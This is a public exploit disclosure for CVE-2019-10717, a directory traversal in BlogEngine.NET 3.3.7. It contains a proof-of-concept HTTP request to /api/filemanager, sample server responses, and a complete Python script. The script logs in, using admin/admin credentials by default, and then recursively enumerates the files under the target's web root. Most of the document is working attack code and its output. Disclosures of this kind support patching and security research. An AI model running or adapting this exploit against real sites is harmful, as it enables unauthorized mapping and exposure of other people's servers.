1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 |
# Exploit Title: Directory Traversal on BlogEngine.NET # Date: 24 Jun 2019 # Exploit Author: Aaron Bishop # Vendor Homepage: https://blogengine.io/ # Version: v3.3.7 # Tested on: 3.3.7, 3.3.6 # CVE : 2019-10717 1. Description ============== BlogEngine.NET is vulnerable to a directory traversal.The page parameter, passed to /api/filemanager, reveals the contents of the directory. 2. Proof of Concept ============= Log in to the application and submit a GET request to /api/filemanager: Request: ~~~ GET /api/filemanager?path=/../../ HTTP/1.1 Host: $RHOST User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: $COOKIE Connection: close Upgrade-Insecure-Requests: 1 ~~~ Depending on how the request is submitted, the response may be XML or JSON XML Response ~~~ HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/xml; charset=utf-8 Expires: -1 Server: Microsoft-IIS/8.5 X-Powered-By: ASP.NET Date: Wed, 15 May 2019 01:58:46 GMT Connection: close Content-Length: 13030 <ArrayOfFileInstance xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2004/07/BlogEngine.Core.FileSystem"> <FileInstance> <Created>5/14/2019 6:58:46 PM</Created> <FileSize></FileSize> <FileType>Directory</FileType> <FullPath>~/App_Data/files/../..</FullPath> <IsChecked>false</IsChecked> <Name>...</Name> <SortOrder>0</SortOrder> </FileInstance> ... ~~~ JSON Response ~~~ HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/8.5 X-Powered-By: ASP.NET Date: Wed, 15 May 2019 02:35:13 GMT Connection: close Content-Length: 10011 [ { "IsChecked":false, "SortOrder":0, "Created":"5/14/2019 7:35:13 PM", "Name":"...", "FileSize":"", "FileType":0, "FullPath":"~/App_Data/files/../..", "ImgPlaceholder":"" } ... ~~~ import argparse import json import os import re import requests import sys """ Exploit for CVE-2019-10717 CVE Identified by: Aaron Bishop Exploit written by: Aaron Bishop Outputs list of filenames found in web root python exploit.py -t $RHOST ?path=/../.. /../../archive.aspx /../../archive.aspx.cs /../../archive.aspx.designer.cs /../../BlogEngine.NET.csproj /../../BlogEngine.NET.csproj.user /../../contact.aspx /../../contact.aspx.cs /../../contact.aspx.designer.cs """ urls = { "login": "/Account/login.aspx", "traversal": "/api/filemanager" } def make_request(session, method, target, data={}): proxies = { "http": "127.0.0.1:8080", "https": "127.0.0.1:8080" } if method == 'GET': r = requests.Request(method, target, params=data) elif method == 'POST': r = requests.Request(method, target, data=data) prep = session.prepare_request(r) resp = session.send(prep, verify=False, proxies=proxies) return resp.text def login(session, host, user, passwd): resp = make_request(session, 'GET', host+urls.get('login')) login_form = re.findall('<input\s+.*?name="(?P<name>.*?)"\s+.*?(?P<tag>\s+value="(?P<value>.*)")?\s/>', resp) login_data = dict([(i[0],i[2]) for i in login_form]) login_data.update({'ctl00$MainContent$LoginUser$UserName': user}) login_data.update({'ctl00$MainContent$LoginUser$Password': passwd}) resp = make_request(session, 'POST', host+urls.get('login'), login_data) def parse(body, path, outfile): paths = json.loads(body) new_paths = set() for i in paths: if i.get('FileType') == 0: new_paths.add(i.get('FullPath')) else: outfile.write("{path}\n".format(path=i.get('FullPath'))) return new_paths def traverse(session, host, paths, outfile, visited=set()): paths = set(paths) - visited for path in paths: print path outfile.write("\n?path={path}\n".format(path=path)) visited.add(path) resp = make_request(session, 'GET', host+urls.get('traversal'), data=dict(path=path)) new_paths = parse(resp, path, outfile) if new_paths: traverse(session, host, new_paths, outfile, visited) def main(host, user, passwd, root, outfile): with requests.Session() as s: login(s, host, user, passwd) traverse(s, host, root, outfile) if __name__ == "__main__": parser = argparse.ArgumentParser(description='Exploit CVE-2019-10717 Path traversal') parser.add_argument('-t', '--target', action="store", dest="target", required=True, help='Target host') parser.add_argument('-u', '--user', default="admin", action="store", dest="user", help='Account on blog') parser.add_argument('-p', '--passwd', default="admin", action="store", dest="passwd", help='Password for account') parser.add_argument('-r', '--root', nargs='+', default="/../..", help='Starting paths') parser.add_argument('-s', '--ssl', action="store_true", help="Force SSL") parser.add_argument('-o', '--outfile', type=argparse.FileType('w'), default='CVE-2019-10717.txt') args = parser.parse_args() protocol = "https://" if args.ssl else "http://" if isinstance(args.root, str): args.root = [args.root] main(protocol + args.target, args.user, args.passwd, args.root, args.outfile) |